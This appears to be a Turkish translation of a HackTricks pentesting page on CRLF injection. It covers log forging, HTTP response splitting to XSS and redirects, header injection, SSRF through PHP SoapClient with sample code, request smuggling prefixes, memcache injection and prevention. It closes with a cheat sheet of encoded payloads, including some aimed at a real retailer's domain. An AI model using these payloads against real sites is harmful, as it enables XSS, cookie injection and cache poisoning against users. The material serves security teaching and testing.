16 KiB
CRLF (%0D%0A) Enjeksiyonu
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Eğer hacking kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı Lehçe yazılı ve sözlü gereklidir).
{% embed url="https://www.stmcyber.com/careers" %}
CRLF
Carriage Return (CR) ve Line Feed (LF), birleşik olarak CRLF olarak bilinen özel karakter dizileridir. HTTP protokolünde bir satırın sonunu veya yeni bir satırın başlangıcını belirtmek için kullanılırlar. Web sunucuları ve tarayıcılar, CRLF'yi HTTP başlıkları ile yanıtın gövdesi arasında ayırt etmek için kullanır. Bu karakterler, Apache ve Microsoft IIS gibi çeşitli web sunucusu türleri arasında HTTP/1.1 iletişiminde evrensel olarak kullanılır.
CRLF Enjeksiyonu Zafiyeti
CRLF enjeksiyonu, CR ve LF karakterlerinin kullanıcı tarafından sağlanan girişe eklenmesini içerir. Bu eylem, sunucuyu, uygulamayı veya kullanıcıyı, enjekte edilen diziyi bir yanıtın sonu ve başka bir yanıtın başlangıcı olarak yorumlamaya yanıltır. Bu karakterler doğal olarak zararlı değildir, ancak yanlış kullanımları HTTP yanıt bölünmesine ve diğer kötü amaçlı faaliyetlere yol açabilir.
Örnek: Bir Günlük Dosyasında CRLF Enjeksiyonu
Bir yönetici panelindeki bir günlük dosyasını düşünelim, formatı şu şekildedir: IP - Zaman - Ziyaret Edilen Yol
. Tipik bir giriş örneği şöyle görünebilir:
123.123.123.123 - 08:15 - /index.php?page=home
Bir saldırgan, bu günlüğü manipüle etmek için CRLF enjeksiyonunu kullanabilir. HTTP isteğine CRLF karakterleri enjekte ederek, saldırgan çıktı akışını değiştirebilir ve sahte günlük girişleri oluşturabilir. Örneğin, enjekte edilen bir dizi günlük girişini şu şekilde dönüştürebilir:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
İşte, %0d
ve %0a
CR ve LF'nin URL kodlanmış formlarını temsil eder. Saldırıdan sonra, günlük yanıltıcı bir şekilde şunu gösterecektir:
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Saldırgan, kötü niyetli faaliyetlerini sunucu ortamında genellikle güvenilen bir varlık olan localhost gibi görünmesini sağlar. Sunucu, %0d%0a
ile başlayan sorgunun bir parametre olarak yorumlar, restrictedaction
parametresi ise ayrı bir giriş olarak ayrıştırılır. Manipüle edilmiş sorgu, meşru bir yönetici komutunu taklit eder: /index.php?page=home&restrictedaction=edit
HTTP Yanıt Bölünmesi
Açıklama
HTTP Yanıt Bölünmesi, bir saldırganın HTTP yanıtlarının yapısını sömürdüğünde ortaya çıkan bir güvenlik açığıdır. Bu yapı, başlıkları gövdeden ayıran belirli bir karakter dizisi olan Taşıma İşareti (CR) ve Satır Beslemesi (LF) tarafından oluşturulan CRLF olarak adlandırılan bir dizi kullanır. Bir saldırgan, bir CRLF dizisini bir yanıt başlığına yerleştirmeyi başarırsa, ardışık yanıt içeriğini etkili bir şekilde manipüle edebilir. Bu tür manipülasyon ciddi güvenlik sorunlarına, özellikle Cross-site Scripting (XSS) sorunlarına yol açabilir.
HTTP Yanıt Bölünmesi Aracılığıyla XSS
- Uygulama şu şekilde özel bir başlık ayarlar:
X-Custom-Header: UserInput
- Uygulama,
UserInput
için değeri bir sorgu parametresinden alır, diyelim ki "user_input". Doğru giriş doğrulama ve kodlama eksikliği olan senaryolarda, bir saldırgan CRLF dizisini ve kötü amaçlı içeriği içeren bir payload oluşturabilir. - Bir saldırgan, özel olarak oluşturulmuş 'user_input' içeren bir URL oluşturur:
?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
- Bu URL'de
%0d%0a%0d%0a
, CRLFCRLF'nin URL kodlanmış biçimidir. Sunucuyu CRLF dizisini eklemeye kandırarak, sunucunun ardışık kısmı yanıt gövdesi olarak işlemesini sağlar.
- Sunucu, saldırganın girişini yanıt başlığında yansıtır, bu da kötü niyetli betiğin tarayıcı tarafından yanıt gövdesinin bir parçası olarak yorumlanmasına yol açar.
HTTP Yanıt Bölünmesinin Yönlendirmeye Neden Olduğu Bir Örnek
Tarayıcıya:
/%0d%0aLocation:%20http://myweb.com
Ve sunucu başlık olarak şunu yanıtlar:
Location: http://myweb.com
Diğer örnek: (şuradan https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
URL Yolu İçinde
Sunucudan gelen yanıtı kontrol etmek için payload'ı URL yolu içinde gönderebilirsiniz (örnek buradan):
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
Daha fazla örnek için şuraya bakın:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
HTTP Başlık Enjeksiyonu
HTTP Başlık Enjeksiyonu, genellikle CRLF (Taşıma İşareti ve Satır Sonu) enjeksiyonu aracılığıyla istismar edilir ve saldırganlara HTTP başlıkları eklemelerine olanak tanır. Bu, XSS (Cross-Site Scripting) filtreleri veya SOP (Aynı Köken İlkesi) gibi güvenlik mekanizmalarını zayıflatabilir ve yetkisiz erişime, CSRF belirteçlerine veya çerez yerleştirme yoluyla kullanıcı oturumlarının manipülasyonuna yol açabilir.
HTTP Başlık Enjeksiyonu Aracılığıyla CORS'nin Sömürülmesi
Bir saldırgan, HTTP başlıklarını enjekte ederek CORS (Cross-Origin Resource Sharing) özelliğini etkinleştirebilir ve SOP tarafından uygulanan kısıtlamaları atlayabilir. Bu ihlal, kötü niyetli kaynaklardan gelen betiklerin farklı bir kökenden gelen kaynaklarla etkileşimde bulunmasına olanak tanır ve böylece korunan verilere erişebilir.
CRLF Aracılığıyla SSRF ve HTTP İstek Enjeksiyonu
CRLF enjeksiyonu, tamamen yeni bir HTTP isteği oluşturmak ve enjekte etmek için kullanılabilir. Bu konuda dikkate değer bir örnek, PHP'nin SoapClient
sınıfındaki zafiyettir, özellikle user_agent
parametresi içinde. Bir saldırgan, bu parametreyi manipüle ederek ek başlıklar ve gövde içeriği ekleyebilir veya tamamen yeni bir HTTP isteği enjekte edebilir. Aşağıda, bu sömürünün bir PHP örneği bulunmaktadır:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
Talep Smuggling için Başlık Enjeksiyonu
Bu teknik ve potansiyel sorunlar hakkında daha fazla bilgi için orijinal kaynağa bakın.
İlk talebe yanıt verdikten sonra arka uç bağlantıyı açık tutmak için gerekli başlıkları enjekte edebilirsiniz:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
Sonrasında, ikinci bir istek belirtilebilir. Bu senaryo genellikle HTTP istek yığınlanması içerir, sunucu tarafından enjeksiyon sonrası ek başlıklar veya gövde öğeleri eklenerek çeşitli güvenlik açıklarına yol açabilir.
Sömürü:
- Kötü Amaçlı Önek Enjeksiyonu: Bu yöntem, kötü amaçlı bir önek belirterek bir sonraki kullanıcının isteğini veya bir web önbelleğini zehirlemeyi içerir. Buna bir örnek:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
- Tepki Sırası Zehirleme için Önek Oluşturma: Bu yaklaşım, tamamlanmış ikinci bir isteği oluşturmak için son eklemelerle birleştirildiğinde bir önek oluşturmayı içerir. Bu, tepki sırası zehirlemesini tetikleyebilir. Bir örnek:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Memcache Enjeksiyonu
Memcache, açık metin protokolü kullanan bir anahtar-değer deposudur. Daha fazla bilgi için:
{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}
Tam bilgi için orijinal yazıya bakın
Bir platform, bir HTTP isteğinden veri alıp bunu temizlemeden bir memcache sunucusuna istekler yapmak için kullanıyorsa, saldırgan bu davranışı yeni memcache komutları enjekte etmek için istismar edebilir.
Örneğin, keşif edilen orijinal zayıflıkta, önbellek anahtarları kullanılarak bir kullanıcının hangi IP ve bağlantı noktasına bağlanması gerektiği döndürülüyordu ve saldırganlar, önbelleği zehirleyecek şekilde memcache komutları enjekte edebiliyorlardı ve kullanıcıların ayrıntılarını (kullanıcı adları ve şifreler dahil) saldırgan sunucularına gönderiyorlardı:
Dahası, araştırmacılar, memcache yanıtlarını ayrıştırarak saldırganın e-posta adresini bilmediği kullanıcılara saldırganın IP ve bağlantı noktalarını göndermek için kullanabildiklerini keşfettiler:
Web Uygulamalarında CRLF / HTTP Başlık Enjeksiyonlarını Önleme
CRLF (Taşıma İşareti ve Satır Beslemesi) veya HTTP Başlık Enjeksiyonlarının risklerini azaltmak için aşağıdaki stratejiler önerilir:
-
Yanıt Başlıklarında Doğrudan Kullanıcı Girişinden Kaçının: En güvenli yaklaşım, kullanıcı tarafından sağlanan girişi doğrudan yanıt başlıklarına dahil etmekten kaçınmaktır.
-
Özel Karakterleri Kodlayın: Doğrudan kullanıcı girişinden kaçınmak mümkün değilse, CR (Taşıma İşareti) ve LF (Satır Beslemesi) gibi özel karakterleri kodlamaya yönelik bir işlev kullanmayı sağlamak önemlidir. Bu uygulama, CRLF enjeksiyonu olasılığını önler.
-
Programlama Dili Güncellemesi: Web uygulamalarında kullandığınız programlama dilini düzenli olarak en son sürüme güncelleyin. HTTP başlıklarını ayarlamakla görevli işlevler içinde CR ve LF karakterlerinin enjeksiyonunu varsayılan olarak engelleyen bir sürümü tercih edin.
HİLE KAĞIDI
Hile kağıdı buradan alınabilir.
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
Otomatik Araçlar
Brute-Force Tespit Listesi
Referanslar
- https://www.invicti.com/blog/web-security/crlf-http-header/
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
- https://www.netsparker.com/blog/web-security/crlf-http-header/
Eğer hacking kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde Lehçe yazılı ve konuşma gereklidir).
{% embed url="https://www.stmcyber.com/careers" %}
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz olan The PEASS Family'yi keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.